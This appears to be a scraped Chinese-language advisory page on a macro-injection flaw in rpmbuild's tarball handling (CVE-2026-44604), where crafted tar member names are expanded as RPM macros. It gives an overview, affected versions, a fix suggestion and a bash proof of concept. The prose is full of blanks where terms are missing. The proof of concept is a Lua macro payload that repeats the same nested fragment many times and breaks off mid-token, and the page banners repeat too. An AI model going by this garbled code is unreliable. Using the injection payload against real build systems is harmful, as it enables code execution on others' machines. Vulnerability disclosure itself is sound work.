RPM rpmbuild tarball成员名宏注入漏洞(CVE-2026-44604)及POC

漏洞概述 漏洞名称: rpmbuild getTarSpec() — crafted tar member name → macro injection #4314 漏洞描述: 当 在 tarball 模式下运行（如 、 、 等）， 会从归档中提取 文件并使用来自 tar 的 verbose 列表中的成员名称进行重命名。如果成员名称包含未转义的 字符，这些字符会被扩展为 RPM 宏，导致宏注入。 CVE 编号: CVE-2026-44604 严重程度: 高（代码执行） 影响范围 受影响版本: - 版本 - Fedora 版本 - RHEL 7 到 RHEL 10 触发条件: 任何调用 的 tarball 模式（ ） 不需要: 安装构建的 RPM； ；恶意 tarball 文件名 修复方案 修复状态: 未修补，新 CVE 请求中 修复建议: 确保在重命名 文件时，对成员名称中的 字符进行适当转义，防止宏注入。 POC 代码 脚本内容: ```bash #!/bin/bash 1. 构建一个有效的 .tar.gz，其中只有一个 .spec 成员，其名称包含恶意宏 pkgrev=$(lua -e "print('VULNERABLE: marker file created by Lua during rpmExpand()')") echo "%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/lua_marker'):write('%{lua:io.open('/tmp/l

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

RPM rpmbuild tarball成员名宏注入漏洞(CVE-2026-44604)及POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

RPM rpmbuild tarball成员名宏注入漏洞(CVE-2026-44604)及POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！